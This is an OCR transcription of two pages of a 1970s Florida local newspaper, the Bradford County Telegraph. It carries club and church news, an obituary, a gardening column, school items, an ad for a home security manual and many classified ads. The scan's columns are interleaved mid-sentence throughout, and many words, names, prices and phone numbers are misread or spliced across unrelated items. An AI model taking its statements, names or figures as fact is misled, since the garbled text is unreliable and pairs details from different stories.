MM.'and Mrs. George needed are as follows: a clipboard HlllaborouKh Junior College,, Maintenance should be considered edging problems and create a ,.,,. .'.... .... .;. : -- Jonathon Harris, star of Long. We will be glad to see or a piece of corrugated and Is employed with General In the planning stagesof much neater landscape. ..'...'.. ,,:..'I ...... ., .... y landscaping rather than as Do mulches to minimize y' use "Pleasure of His Compare" these folks back In church. cardboard covered with Telephone Co. in Tampa. . at the Alhambra Dinner Theatre We are pleased to have the cloth, and scissors. For practice The wedding will be an eventof an afterthought. Work out In watering and reduce weeds In NGTERMTEs '. I. following new members by let- advance any additions or alterations flower and shrub beds.Dont I " in learning to tie the knots June 16 In the Community; / :IP wv ter: Mrs. Linda Walker and Mr. No. 27 cable cord Church Keystone Heights. to your home groundsand overfertlliae. Keep use , and you may have a definite purpose plants at minimum fertilization ''' Mrs. Frank Swarts of Keystone .. or rug: yarn. and place for plant, tree levels and mowing and pruningwill : : Heliflts.1I1eOta'. attend every : % &? club member : One . S.E.'McKAYREALtQJt the training meeting may of t(BETTER HOME SECURITY IS I shrub or other feature. be minimized.And \ .{ .: . : . MANUAL Here are aomedo'.and40n'tsto last but not least dont .- fcVv ' SUBJECT OF NEW J / " 7t February 24 from 10 to 12 at .; ... . think about In establishinga confuse low maintenance with ". ,, ':;w . the County :Extension Office. ... . ; low-maintenance garden. no maintenance. Plants will .l : , home and Keystone rltt. 473-4816". ": The "subject: will be "Oven apartment(FPR.Improved security Is the Do eliminate many"frills"as sooner or later need water,fertilizer Termites, as a rule, ovoId light, rats +;:c , Meals. possible. A good design is and care and grass must But normally! each ,, A'-'" Club presidents and vice subject: of the recentlypublished year C't'O, _). based on simplicity: so use only be mowed. ' HOMES. ACREAGES ; when weather conditions - : .i ' presidents are urged to attend "Home. SecurityManual" those things that do a defin- Do plan with maintenance In c?. RENTALS the Program Planning MeetIng All phases of lock: ore right, winged termites ... : "': and .. t- t ite Job in the landscape, mind ancI1OO'1I work less but h' ." .. methods of forced reverse their instincts and J ., : '. . '. < on February 28 from 10 security: don't Just plant for the sake enjoy It morel ; Mr. .Ib.'II o*'*!'4734740f ,h yi.:? s to 12 in the Extension Office. entry and burglar alarm of variety. Many homeowners seek light. This flight is for *'y *? '"; ...: ;. ; Elizabeth C. Ahrans Is Home systems are thoroughly achieve simplicity; by over- ARC YOU ON MV the! establishment of new v .... 'g+ I.J. c.h.; $ Is the . : budget : "Living on a I'-.n;. cs! i'2Zt.1871. beyond Extension or Economics Agentof discussed: Emphasis Is placed planting and then eliminating LONG LIST Of" colonies. Frequently very large ,' .. I'" same a* living that havea your Alachua County; and edited on what the average home what Is not absolutely neces FRIEND6ar.n ? numbers of termites ere seen flying mean except" you many Interesting and helpful owner can do himself at sary. This Is an expensive routeto about. Fortunately for home-owners record of II. moderate cost to make his home I ' Ideas In the "Coffee Break"for take. I / swarming can be nature's , '. February. more secure against casual Do keep the yard free of J warning - VIE4lOl glO t Melrose Club Members Interested Intruders and determined ornaments and even trees and 11, - I In tapestry bag making professional burglars. shrubs except for those abso- / Keystone as well as the art of nuking lutely needed. Do avoid a scattered "I r--, .. LORI DA DIRECTION the newest fad, pearl bead arrangement of flower I UNDCR . Manual" Is OP GRADUATI "Home stringing, be sure and attend Security beds and garden accessories. u.. State ____ the Workshop at the Melrose authored by a former T-Man A cluttered: yard requiring a r*)EST ENTOMOLOGIST Bank whose < < Clubhouse on Feb. 15 at 10-12 and CIA agent lot of hand edging and clipping background Includes more than is a maintenance nightmare. w WONTROI. I. ajn. Mrs. Ella Simmons will . MEMBER F.D.I.C. be In charge of bag making 20 years experience in all Don't try to grow grassesIn Phone ( : I and MM. Edythe Nicholson will phases of Intelligence and areas too shady, too dry or physical security. Due to his wet too to be mowed CHEMICAL COMPANY Instruct on one method of bead or steep PHONE 964-5745 * Pave.the Way for Your training in security and clandestine safely. Do use ground cover ..rs.. entry he treats home plants In these areas and select "Special Something"A security: with a unique dual : plants requiring little or Who helped prevent. forest fire Services Held viewpoint from both that of thy year? the pot entail Intruder and For E. B. RaynorOf seasTmed security expert. Keystone Written and illustrated In a Edward B. Raynor 74. of cleat and simple manner mthcupRINTfflCr Keystone Heights, died Sunday, "Home Security Manual" has Feb 6. In a Gainesville hospital been enthusiastically: received after an extended Illness.He and recommended by law en- to was bom In New York. rcement officials: as a "must" s. Dec. 20 1897, was a veteran ,r every home owner and 0M.P. of World War La member of Apartment dweller concerned: the Episcopal: Church. and a with the rising incidence: of We have the complete facilities charter member of American' residential Intrusion. and know how to successfully serve _!/ Legion Post 203. % Surviving are his wife Marl Available from Sales your every printing need. letter Raynor, Keystone Heights; a i stepson Eric T. RomandL New Associates.: P.O. Box SM San press, offset, engraving are all part t I York City; two sisters, Mrs Francisco: California MIDI. l r of our service. We print color 6*<< ,. trip) Wedding? Car? De- Alice Riley Columbia S.C'I; C .: . and Mrs Nettle Berry black and white. Call us, compare posit money, regularly, in a savings six River N.Y.; grandchildren, our quality and prices. account. it's the way to make that and one greatgrandchild.Funeral A young man received the services will be held .following letter! from his girl: "I dream: come true. Interest rates? at 10 a.m. Wednesday in St.WDIam' must explain that I was only : StatIonery/ a Catalogs '* allowed by law. Catholic Church: with Joking when I wrote that I didn't ; Highest Father Maurice bnhoff officiating. mean what I said about Business forms a EnvelopesAnnouncements Interment will follow la(the reconsidering my decision not 1 Bank Df'OR y A full.Servlce a Advertising D $, Keystone Heights Cemetery to change my mind. I really % tea A cOtJ under direction: of DeWltt C. mean this." % YOUR FRIENDLY BANK IN YOUR Jones Funeral! Home of Keystone lWvatthr -' FRIENDLY COMMUNITY Heights. The Rosary was : recited at the funeral home In Nowadays prosperity means KEYSTONE HEIGHTS. FLA. Keystone Heights at 7:30 p.m not being quite .ss broke this Tuesday. month ss last. 1ft. 1972 TELEGRAPH PAGE 13 .. 1 * ,: .. -:, -, ." .:,, ,,. ,-..,: ".:-:.- :, ...- ".-, :,: : .. ..:-:: ,, !. o -. ,, .: ,:- .=,::.: .-.:,,-.. .. '' :-h': .-,-.. .,-- ,, .- ,:::- ...-,= ,.....-.,.-= ..,: .. .. .-._ ... -., -: ,,--: , """;0 J .. .. .. .. .. ... I .. '. , .. .. ..... ... ... ... .. .... .. ... .. ." .... ... .. ... ... / . in BRIEF -- ' h-gents.. , d.' .tar. V/ cox ; . . . CONGRATULATIONS COVERED. WALKWAY Congratulation to Miss Patsy .- A committee consisting of / m Edwards, who had enough Mrs. Tommy Cox. George credits at mid-term to finish Smith! president of the PTA. Bradford High School She Is and Mr. Dewey McKInney principal -; rrr NEWLY REMODELED Home WANTED!: : Acreage large' ormall. I now officially out of high school. representing the Brook- CLASSIFIED AD RATES For Sale 3 bedroom j2: an Buyers vraltlng. Blot O.C. Carries Nursery Patsy is the daughter of Mr. er PTA met with Supt. Tom w..r.w mw wI new largo baths 14 x DHaving, JIMMY MOORE'SSUN Inc. 2117 N. Temple Thousands of Plante'Fruit Realty ......... Charge.1.11 , A- , and Mrs. Ernest Edwards Casey on Tuesday Feb. 1 I. to h..M1 room large den, new Dune.In Ave. 964-6609 or 964-6238. SPORTS Trees gain we congratulate you, Patsy .- discuss and somewhat plan a (Cever: II words) kitchen cabinets. Large 125 tfchg..' Trees. Shade , on such an outstanding achlevement. covered walk-way from the oM'iar its o c x 200 lot with trees, high and \ MOORS BOAT FOR Evergreens Camellias. ,, Patsy will receive school to the cafeteria.The Bach went ever l-7e dry M. 100 East. 3 miles. (Azaleas. Roses her diploma this June at grad- covered walk-way will Ma Extra Charge If aot Very convenient terms. Call YOUR MONEYStarke !: lies la cans .* Plant AnytimeLANDSCAPING & uatlon exercises with her follow be a county; project for the staid In advanceCLASSiFIRD 964-7701 8 to S Monday thru Ph. 0846781Complete classmates. near future. It is expected to Saturday. Tfchg< 1 let' BrowVolkswavn. Congratulations are also ex- be started on or before July 1, :. DIM'LAYIts. Outboard AStern M Ml. '.E..ef Stark Hwy. INPlorftbome tended to Mrs. Mary L. Green and be completed by school Per Inch I5MUS who celebrated her Slit birthday term next fall. You Have Tried WATSON'SHOUSE/ Drive Service and on Friday. Feb. 4. She Brooker pupils parents and Memorials BeeelMltonePreoUnmUons Repair. Complete Fiberglass - Is a remarkable person faculty; should be pleased to tie -7e word The RestNowTry brands OF of VACUUMS new vacuums : Repair. Cnatombnllt Tho Class Shop hear this good news. As for CARDS Many FibergUua. Fishing from OF THANKS Used machines TEAA The Best 39.00 up. HONORED AT some time we have all been tea honoring Mrs. Blake concerned about the children M words er Ins '. ........M $10. Expert Repairs aU makes.for New tit 11... Boat.. Glass Hamilton was given at the Florida getting wet whenever it rainsat Each wer 1l ever .e-T. JACK SOUTHARDAOGFI9S vacuums.P.aand, Built Accessories: la Central vacuum all- sin Sense QIfJ For __ Power Lounge at High lunch time having to go 713: N. ? cleaning systems. . Springs Tuesday evening Feb. out in the weather to the cafe Gainesville 376-7110 IBtLKerfhetTHeMaOOABNCSVEUUB. AH CARS and TRUCKS 1. Those attending from Brook- teria. Soon this problem will Main Installed Whll.U.WaltCuatom er were: Mrs. Zedra Hamilton, be solved, we hope. INCOME TAX SERVICEWe Mrs. Ernest Edwards, Mrs. Prayer List: Monroe Barns are happy to announce thatG. CONhACTORPhone WE GIVE SERVICE- We get Vinyl Auto Top. Inez Green, Mrs Emanuel Morris Dyal. Phillip Redmon and Margaret results! List your property for FUJMTURE\ 1017 N. Main GMDs Kleinman, and Mrs. Paul Em sale with us. Call today- , have Just Crosby completed ery. PERSONALSDenver an advance course In 473-3485 BILL POWELL, BROKER:964- TRACK TAPE, !:Decks repaired Quality Home 1'IIfII18JaI" Prescott has gone Income tax preparation, and Keystone 6464 or 964-6810. tf/chg and cleaned at Dahmors Dls- f Custom UmpectaCarpeting LUNCHEON back In the Air Force as Ser- will be most happy to assist HeightsAnd .count fast service, tfchg Taking applications fot Mn. Emanuel Kleinman entertained geant. He reported to McCoy you In filling out your Income Surrourtdihz. Areas. RUGS6 x 9. $3.10; 9 x 12, .'Interiors by Victor with a luncheon on AFB In Orlando on Saturday.Feb. tax. $ .98. Many colors and pat WE REPAIR and sell nearly 1100 Pull: Av. Orange Part FHA 235 Thursday Feb. 3. Those en- 5. He Is the son of Mr. Town Finance Company 226 terns. Also larger sizes.- at for tf' All Work Guaranteed needle made any 2M4331 Joying this luncheon were:MissVirginia and Mrs. Paul Prescott. DAHMEIWS DISCOUNT lOt/chg every N. Temple Ave. 964-7449 tfchg : . Melden and Mrs. Rose Airman and Mrs. Tony Cast- : brand stereo regardless ofap. New Brick 3 and 4 Splcer of Largo. Also a friend. len, stationed at McDlll AFB Also the long play records at LOTS: FOR SALE Starke Golf Bedroom Homes I Betty, from New Jersey; and in Tampa were here over the FOR SALE- 1966 Ford Station FOR RENT- Klngsley Lake. 323LAKE FRONT $1 oft regular price at Dah-tfcnct' A Country Club, ready for: Call for 'Details.. Mrs. Ernest Edwards and Mn. weekend, Feb. 4-6. visiting Wagon New tires, new paint 2 BR house furnished. No pets. mer's Discount building on or for Investment. Art Qulck all of Brooker. their parents Mr. and Mrs. Job. Runs real good. AC,964- Phone 8332261. tfchg FARMS ACREAGE Lots area approximately. 1/2 Low Down, PaVment' > Ronald Bristol and family and AT, 750.00 cash. Phone HOOF TRIMMING- FoUls. acre and larger. Paved roads and Moderate"'Monthly BROOKER BAPTIST CHURCH Mr. and Mrs. Leroy Stokes 5261. lip FOR SALE: One chicken bam Ph. 964-8635. Sto 2/17 .only 3 minutes from town. PaymentsLONGCHAMP' \ Charlene and Gary Melvin and Charlie.Mr. complete to be moved. 130'X W. Need.. Listings, Best Call 994-7701, 8 a.m., to 5 P.m. beautifully sang "It Took A and Mrs Anbus Glum STARTING FEB. 5- Garbage ; 24' with water gas and Of Service. W. Con ArrangeTo tfchg :HOMES Miracle" accompanied Mrs. from Lawrence S. C. visited pick-up outside city; limits of electricity.; Call after 5 :00. Thane ...-au Bobby Dyal on Sunday mornIng Mr. and Mn. Paul Prescottand Starke. Call 964-8876 or 964- 964-5153.3tchg.2/17. Finance.CALL FOR SALE Ml BvBlh Marks Jan. 30. SEWING . family the weekend of Jan- 5261. lip; That afternoon the choir under uary 30. Visiting/ the Paul Pres- PENSACOLA HAY for sale REESE C. BRADLEY Frame House In new condition rr the direction of Lavern cott's last weekend were their FOR RENT furnished 3 Phone 964-7679. tfchg. WALTER WILLIAMS INC. 3 bedrooms living room MACHINESol. Outlaw Sr., participated In the son-in-law and daughter. Mr. bedroom' home King-stay LakeMMU dining room 2 baths outside ' New River Association! Music and Mrs. Irvin Hodge and family June I 1. Also 2 bedroom 398-8888 city; on nice lot. .. and Service FOR SALEr 2 bedroom .concrete - Festival held at Ralford Baptist from Dade City.; While home one mile south on 301 A Hole, In Your Roof 1389 Cassett Avo block house near shopping Church.On 4ft 1-27 2-17 2 bedroom frame house, very PFAFF ELNA. here they also visited Irvln's unfurnished.\ Very reasonable > >> center. Low down payment Sunday Jan.23.the Brook- mother Mrs. Maggie Hodge, rent to small family. Phonl OrA neat. Some furniture Includedon New Home, easy terms. Call Bu _ er Baptist Church observed and his brothers Carl 1. and 964-6491 residence M4-7753. 2.7 acres of land. Several ford Mitchell phone 964-6760 Baptist Men's Day.Several men Mr. and Mrs. Harlon lodge Itp. WHOLENEW INSURANCEAT nice storage buildings. Outside WHITE P.O. Box 238, Starke. Uc g. gave their testimonies for the and family. teJ city; limits. Lord. The Choir for the morn- .. REDUCED RATES 2 bedroom nice cement block $49150 up ing services consisted of all ATTENTION AUTO. FIRE BOAT home. Fireplace, enclosed p- ,ROOFJ Parts & males. BRADFORD COUNTY WOMENWE rage. Near Lawtey on 301. Repairs on WATER FRONT LOTS On Sunday morning Feb. 6, Communications NEED YOUI DOYLE E. CONNER all ether Make Ma FOR SALE the Brotherhood gave a family To Be The Gainesville Sun Is look- & J Roofing Co. INSURANCE AGENCY 5 acres of land on paved highway chines.NATIONAL. On Crosby Lake and Crosby breakfast at the church.: Special Equipment Inn for a woman between 18- tchg. near Lawtey. Lake Canal. )Canal? SO feet guests were Mr. and Mrs. Shown By Army old to work In our Phone 964-8088 or 473-4735.' CONTACT wide 8 feet deep) Located on E. W. Hodges Jr. of Hampton Star office as a'telephone Hlway 301 South GEORGE ROBERTS State Road 100, 3 miles Westof Lake. The Brotherhood, with solicitor Monday Friday 4 FOR "a Job well done feel- 611 W. Univ. Ay. Starke Fla. Ideal for vacation the assistance of E. W. Hodges Sgt. Wayne Glenn local Army p.m. to 7 pun. $1.60 per hour Ing" clean carpets with Blue REAL ESTATE. cottage mobile borne or Jr., recently provided additional recruiter and the 197th Brigade or commission up to 4.00 per STANLEY HOME Products Lustre. Rent electric sham- Gainesville, Florida Investment. kitchen' cabinets and from Fort Banning, Ga. hour. Call Mrs. Me Carlty; ,,at needs 3 ladles for special part pooer$1. Devlrck, Inc., Builders PHONE 964.7826 378-1355 ;Prices atart at$1.295.00. $200 exhaust fan for the Church's; will display a communicationsexhibit 964-5976 for Interview appoint time work car necessary. We Hardware & Supplies 421 W. MADISON ST. down and $35.00 month for 34xtfloAf kitchen. Also the Brotherhood in Starke on Tuesday. ment. train you. Call or write Edith Starke Fla. It (8 ]1/2 % simple. Inter- Feb. 15.The $200.00 DOWN I recently purchased tables A. Sliger. 494-2748 High new brick and eat). for the Church Social Hall. display will be shownat WANTEDFord tractor with Springs. 4tp 2/24 block homes. Payments low Can 964.7701 8 ajn. to 9p.m. Bradford County; High School front end loader In good con- DANNY'SPHOTOGRAPHY' as $70.00 a month. You may\ .-'week4a1' tf BROOKER ELEMENTARY from 8:30 to 10:30: a.m. and will dition. Call 473-4508. Itp FOR SAlE- Bedroom, 2 bath Qualify if you earn between - Thursday Feb. 3. was the move to the Starke Plaza from brick home located Country :$70 and $140.00 a week Call date for a field trip to the 12:30: to Span.Purpose WANTED Lady to live In with Club Estates, Central heat and WEDDINGS Crown .Builders, 964-8337.. Jacksonville' Children's Mu- of the exhibit is to elderly lady.; Light duties.Room air conditioning, fulhr carpeted. PORTRAITS tfchg. -=_ seum by Mrs. Hurst's 4th and ,acquaint the general public with board and salary. Phone 964. Approximately) 1-1/8 acre of COMMERCIAL 5th grade class and Mrs.Scott's communications equipment 6760. 2tchg. 2/10. land. Call Bill Powell at 964- 114 N. Walnut 5th and 6th grade class. The currently In use by the 197th 6464, or 964-6810 after 5 Star 94-8188 EXISTINGHOMES trip proved to be enjoyable as Brigade It is completely mo- FOR SALE-1967 Pontiac Cata- p.m. CARL BIGGS bile being mounted In trucks brakes power Gulf Servlca Una power well as educational: for the equipped with long rann radio steering air conditioning. 964- FOR SALELake side cottage FOR SALE -3 repossessed mobile school children and their a- to handle wire news service 7469. 905 W. Pratt St. Itp to be movedApprox.. 1000 so, homes. One used Mobile Used Parts I dult chaperones. briefs direct from UPI ft. aluminum siding 2 BR,large Home. Olln'B Mobile Homes and AP. SALE J. Hatcher mahogany family room. Ideal for small Sales 100( West-Starke tfchg. THE FINEST SELECTION OF arrival at the Museum The 197th Brigade is an all AVAIUUIFOR Upon boat bottom. family. Buford Mitchell. Phone Planetarium volunteer unit drawing its repairs USED CARS j the group visited the personnel Needs minor $200 or 9646853. 2tehg 2/17 where !they observed a from the SoutheasternU.S. best offer. Also 1940 Oldsmoblle FOR PENT; MNGSLEY LAKE In this whole area YOUR LOT show entitled 'The Trail of Currently serving with the sedan 6 cylinder standard WANTEDGirl over 21 to tend modem two bedroom duplex a* Tears" Attention was also given unit and scheduled to accompany transmission. Mechanically bar at Blue Tavern. Rotate i/vrpnent, furnished and"air- 24 Hr. Wrecker Service to the Indian Religious beliefs the display. Is Charles good Needs: paint upholstery shift. 964-9959 or 964-8077. conditioned. Call Merritt Williams. USED PARTS $3,5,00tEoom'FT and superstitions concern Randal Clarke' whose hometown Make offer After 5 p.m 468- 964-5391: or 9647788. ing the heavenly bodies. The Is Starke. He enll.tedwlth 1190. lip tfchg. Hwy. 301 N. Waldo children were also treated to the 197th In September 1971. . a first hand look at tile ><|ulp- and Is currently serving with WILL DO sewing In my home. : SALESMANReal 468-1998 ment utilized to produce the the 10th Artillery.Stanley Hammond Ruth Hill , Phone 485-3505 FOR RENT12 wide 2 bed- special: effects for a Planetarium another local man, is I nc Opportunity Brooker. lip room trailer outside city; limits FOR SALE- 68 Chevrolet P.S. ' show, also with the 197th. billion dollar J.B. White 964-6114 W P.B., good tires; runs good. After lunch, the group tookan Sgt. Glenn said the displayis FOR SALEPick up Truck life and fir. Insurance no answer call 964-8799; $800.00 cash. Call 964-526U uvmaABEACALL and will beset informative tour through) the very Interesting Camper Topper. Oiln's Mobile company forman lip LEW'SWELDING Museum exhibits where they communications up to emphasize Jobs such as Army radio Homes Sales, 100 West, Starke. married and SHOP saw many elaborate displays of operator, wheel vehicle mechanic tfchg Interested In careerIn early American Culture. wheel vehicle operator 37-1/2 Acres West Starke life Insurance. Whispering Pine. Jtfff- The field trip complementeda high speed radio operator tel Edwards Road to Butler Road. Debit Is located tel US 301 s.. Phone SIM of the Solar System and Mary Carter Paints clvilations: study as a part elf the etype; operator and radio and Paved Road and Railroad, Industrial Starke and vicinity.No 9644252 dpment operator. carrier e and residential. A. J. .xp.rl.nc. nec school program. These Jobs are currently available Thomas Realtor. Tel.964-5701 essary. Must have UTILITY TRAILERS HOME The children were accompanied Glenn with the 197th.be contactedby equivalent of high 102 E. BROWNLEE CUSTOM BUILT ,, Sgt. may FOR SALE12'x56': Mobile their teachers school education GAS AND ELECTRIC on the trip by ,Jacksonville 786- or Mrs. Hurst and Mn.Scot) 5800 calling collect, or at the local home with porch. Air condldoners. more, and H 21 WELDING BRAZING SERVICES , Itchg 9648345. Room Mothers Mrs. JanU Same Prices As Jacksonville draft board each Tuesday at years of age. Ex. SHEET METAL Hayes Mrs. Glenda Andrews, 10 a.m. HAMPTON LAKE LOTS cellant retlreimnt TRAILER HITCHES ;OR INFORMATION| Mrs. Mary Smith and Mrs. Advertised Pricesf,1r Prescott and Brooker Schoolpr1nclpal. Paved road, 75 feet water front. and disability, plus INSTALLED Call Jacksonville : Mr. 1000.00 down, l,000.00ayear other benefits. Must . . bus was driven McL Klney.Mat.- plus Int. @ 7%.. One price, be resident af state Collect the entiregroup Maybe/' can run the take your choice. A.J. Thomas - dews. Lunches for ono Above PRIZES year. average Brooker train but. a far a tot know, Starke Fla. 181.4'055PUMPS' were packed by starting WANTED; Maid atTo-Rena Mo- it pay. hain't sent out any calen" Cafeteria staff workers Mrs.Henry da.s.DOUG'hS. allotment tel. Good pay. tfchg. FOR RENT-Tobacco and Mrs. Howard. 1.92 acres 3.177 Ibs. Call before FOR INTERVIEW w 2nd MONDAY -_-_ 12 sum. after 6:30: p.m. SAVETho..L.9ng 7823903. Zip 2/17 CAlL 376-4037 OF EACH MONTH Distance Come In and register today. No purchase necessary Phone CdlJ COASTAL HAY FOR SALE $1 from 8:00: a.m. to 4:00 p.m.. line We handle air now NEW AND USED Kelly-Springfield bale.-_M. F. Wiggins New and 8:00: a.m. Oil noon on SUNoeD River. It Saturday. tickets, cruises, and tours.w. . OR .H.,... special package BALES LARGE 7-ROOM HOUSE PARTS TIRE SALE for either moving or salvage yours; Send Resume toP Tour of New SERVICE or can purchase lot. Phone 473- -al Disney World Deep nnd Shallow, Wells $14.95 $22.95 3051. 2t 2/17 0. Box 569GalnesYllle I65 Call 9647..9TOWN Water Softeners 'and Fla. Filters peci ft. FINANCE CO. RIMOUN Lz:1r: ___ FILAMENT Strapping Tape, ____ 2-3 2tchg " 3/4" 60 2.50 Single 6 'P.O. Temole PlumbingSupplies Mark 78 x yards. Box 224 N. 4 Nylon Ply, B/W 4 Ply Nylon roll.Bradford. County; T lejpraph. 2 BATH EXPERT SERVICE ON ALL MAKES 650.13 W'W E73-14 ................ ... WALL TO WALL FOR SALEFarmall International PHONE 9647061DURRANCE 1 83 Series 78 Series m CARPET $499 hitch with Cub Tractor disc and with bottom fast FACTORY HELP lOn THROUGHOUT! plow and most all cultivator WIDE!! 78 Series down attachments. Very good con- PUMP A SUPPLY CO.SEWING . dition. Contact Vernon Reddish - F73-14 ......... $24.95 J99 PER MONTH NCLUDES I INSURANCE 7.75-14 ........ $16.95 Jel.t.f Florida Inc. *.... dependable, able 964-6530. 4tchg 3/2 J 8.24.14 ........ $18.95 G78-14 ......... $26.95 bodied.. .. factory h.lp. Ho experience) necessary. AND SET UP ON YOUR LOT MACHINE-Cleaned. H78-14 ......... $28.95 Steady work, overtime. fringe benefits. FOR SALE OR TRADEWD- oiled QIda World's Largest Dealer In Mobile Homes 45 Allls-Chalmers tractor. nome, $5.00, Vs/rami cleaner Buy 4 And Sort More Buy 4 And'Sow ManFr. Servis Gyro 84-Inch pull type: repairs also.All work guaranteed. IF" YOU ARB WILLING TO WORK APPLY rotary mower; A-C lift type\ I, l. Dennis E. Coggtns, Phone .. Mounting Balancing Extra Free. Mounting Balancing Extra ATOWEN three bottom plow. Good con 431-1428 tfchtf! dillon 91,000 or trade for cattle Plus Tax And Old Tir.I JOIST Phone 473-4896. lip M BI FOR BENT: Trailer lot;. on FOR RENT- bedroom house F.P.L. Call after 5:00 jun. I THIS WSZKS SPECIAL I Lincoln. City Road Monday through Friday $65 per month, 410 W. Andrews 964-8238 dchg.INTERSTATE . I 452 N. Temple Aye. (US 301))'' 7:00 A.M. T. 5:00 p.M., Melrose, Florida Phone 475.1151 St.lip Tolbert McCoy 964-7818. MOBILE Home eeeee..ee.eeeeeeseeeeejeeee) ..eeeee..eeej novlng in. Fla,' Cajl 964-3604J< tfchgBROOKER PAGE 14 TELEGRAPH FEB. 10, 1971.1M . I.t . t 1 \ Contact Us | Permissions | Preferences | Technical Aspects | Statistics | Internal | Privacy Policy © 2004 - 2011 University of Florida George A. Smathers Libraries.All rights reserved. Acceptable Use, Copyright, and Disclaimer Statement Powered by SobekCM | http://ufdc.ufl.edu/UF00027795/01274 | CC-MAIN-2014-52 | refinedweb | 38,968 | 77.33 |
Asked by:
A program is trying to send e-mail on your behalf. Stop this message.
Hi
Does any one know how to disable this option (A program is trying to send e-mail on your behalf. Stop this message.)
I'm trying to send an auto e-mail with Marco from MS Access.
I am executing this macro from VB.Net...
Dim objAccess As New Access.Application
objAccess.OpenCurrentDatabase("D:\TestMacro.mdb", False) ' Add the Access File Path
objAccess.DoCmd.RunMacro("Macro1") ' Replace Macro1 with the name of your macro
objAccess.CloseCurrentDatabase()
objAccess.Quit(Access.AcQuitOption.acQuitSaveNone)
objAccess = Nothing
But every time that my script trying to send the auto e-mail, a security popup and saing "A program is trying to send automatically send e-mail on your behalf."
How can I stop this security warning? or how can allow my program to send an e-mail on my behalf?.
How to Disable this....
Thanks & Regards
Deepu M.IWednesday, November 29, 2006 11:50 AM
Question
All replies
The problem is that the macro you're calling is using a high level email engine, probably calling Outlook directly or one of its DLLs, and this will trigger the anti-email-virus routine you're seeing. This security feature was added to Outlook years ago after the infamous 'Love Bug' virus.
The solution is to modify the macro where it uses a lower level email engine since this method won't be affected by what you do in your .Net code. If you use CDO or SMTP instead of Outlook this should take care of the problem. You may want to consult the appropriate VBA or Access forums for ideas on how to do this.Wednesday, November 29, 2006 2:28 PM
- If you just need to send mail but don't necessarily need to send it through Outlook, check out the System.Net.Mail namespace. It can send mail independent of having Office installed.Wednesday, November 29, 2006 7:33 PMModerator
My macro application will create a Access report by using QUERY Object...
and next step is Sending that report by email (SendObject in Macros).
So In Vb.Net System Mail... How to send this EXCEL Report Dynamically . It
should be QUERY Object Report...
Thanks & Regards
Deepu M.IThursday, November 30, 2006 7:34 AM
- Check out the System.Net.Mail.MailMessage class. It has a property called Attachments. You should be able to save out your excel query to a physical file and then attach it to the message.Thursday, November 30, 2006 6:34 PMModerator | https://social.msdn.microsoft.com/Forums/en-US/4af4c494-f6a0-492b-aeb2-4fd128a1cc3c/a-program-is-trying-to-send-email-on-your-behalf-stop-this-message?forum=vbinterop | CC-MAIN-2015-11 | refinedweb | 429 | 67.65 |
Hi all .
I have home work in data structure and I understood a little part of it :(
so I need your experience
this is the idea and the question
Program Description
Consider a program that manages the payroll of some organization. The three simplest operations performed by this program include:
(i) adding a new employee to the payroll,
(ii) searching for an employee, given some information about her, and
(iii) deleting an employee who has left the organization.
To keep things simple, let us assume that each employee record consists of three fields:
(i) name,
(ii) social security number (ssn), and
(iii) salary.
The three operations mentioned above, can be stated more precisely as follows: INSERT(record): to insert the given employee record into the collection of employee records.
DELETE(ssn): to delete the employee whose ssn is given, from the collection.
SEARCH(ssn): to search the collection for the employee whose ssn is given.
Program Specifications
We need to decide how the collection of records is actually stored in memory and how the above operations will be implemented. This kind of specification defines an abstract data type (ADT). Typically, an ADT can be implemented using one of several different data structures. A useful first step in deciding what data structure to use in a program is to specify an ADT for the program.
Now we consider two alternate data structures for the above ADT:
(i) Unordered array of records: the employee records are stored in an array, in no particular order. There is a variable, say n, that keeps track of the number of employees currently on the payroll.
(ii) Ordered array of records: the employee records are stored in an array, in increasing order of ssn. Again, there is a variable, say n, that keeps track of the number of employees currently on the payroll.
Tasks
Referring to the provided Java code segments (pages 3-5) complete the following tasks (Whenever you see TO DO: add your code):
(i) Task1: Complete the code, so your program will support insert, delete, and search. After you finish, make another copy of this program using unordered array to insert a new record at the end, sequential search.
(ii) Task2: Implement a function called payRangeQuery that takes two double parameters low and high and print all records of employees whose pay is between low and high. The payRangeQuery function should be implemented as a public method in the RecordDB class.
(iii) Task3: Write a search function that is similar to the currently implemented search function, except that the new search function returns an integer. If the given ssn is found, then the function returns a non-negative integer that is the index of the slot in which the ssn was found. If the given ssn is not found, then the function should return a negative integer, whose magnitude (absolute value) is the index of the slot in which the ssn would have been found, had it been in the array. For example, if the social security numbers in the array are: 10, 20, 30, 40 and we were looking for 22, and then the function should return -2 because if 22 were present in the array it would be in slot 2.
(iv) Task4: Re-implement the “insert” and “delete” functions so that they call the new search function. You would have noticed that both insert and delete currently perform a linear scan of the array; insert does it in order to find a slot to insert the new record in and delete does it in order to find the record with the given ssn. Having implemented the new search function, it is possible to simplify and speed-up both insert and delete by making appropriate calls to the new “search” function.
Code :
Record.java public class Record { // data members public int ssn; // Primary Key public String name; public double pay; // The constructor for this class Record (int newSSN, String newName, double newPay) { ssn = newSSN; name = newName; pay = newPay; } // end of constructor } // end of class //-------------------------------------------------------------------------------- RecordDB.java /********************************************************* * A class containing list of records with insert/delete * * and search functionality. * *********************************************************/ public class RecordDB { private static int maxRecords = 200; private int numRecords = 0; private Record recordList[] = new Record[maxRecords]; //-------------------------------------------------------------------------------- //Inserts a record into the ordered array in a sorted fashion. //Parameter rec: The record to be inserted. public void insert (Record rec) { // Check for overflow; if overflow, then don't insert if (numRecords == maxRecords-1) { return; } // TO DO: // Find the position to insert in, by scanning the array left-to-right // until a large ssn is located // Then, Shift all records one space down // Then, Insert the new record // Finally, Increment current number of employees in the list // Print All records printAll(); } //-------------------------------------------------------------------------------- //Deletes a record from the list based on the key (ssn). // Performs a linear scan of the array of records until //a record is found with the given ssn //Parameter ssn public void delete (int newSSN) { // TO DO: //Check for underflow; if underflow, then don't delete // TO DO: // Scan the array searching for the record containing newSSN // Then, Shift all records that are beyond slot i to the left by one slot // Finally, Decrement current number of employees in the list // Print All records printAll(); } //-------------------------------------------------------------------------------- //Search for the record with the given SSN, Parameter newSSN public Record search (int newSSN) { // Print All records printAll(); // TO DO: // Complete this Binary Search algorithm int first=0, last=numRecords-1; } // end of search function //------------------------------------------------------------------------------- //Prints the list of records to the standard output; private void printAll() { System.out.println("---------------------------------"); for (int i=0; i<numRecords; i++) { System.out.println(""+i+" "+recordList[i].ssn+ " "+recordList[i].name+" " +recordList[i].pay); } } //-------------------------------------------------------------------------------- // Main method - adds and deletes records and searches for some. public static void main(String[] args) { RecordDB recDB = new RecordDB(); recDB.insert(new Record(3, 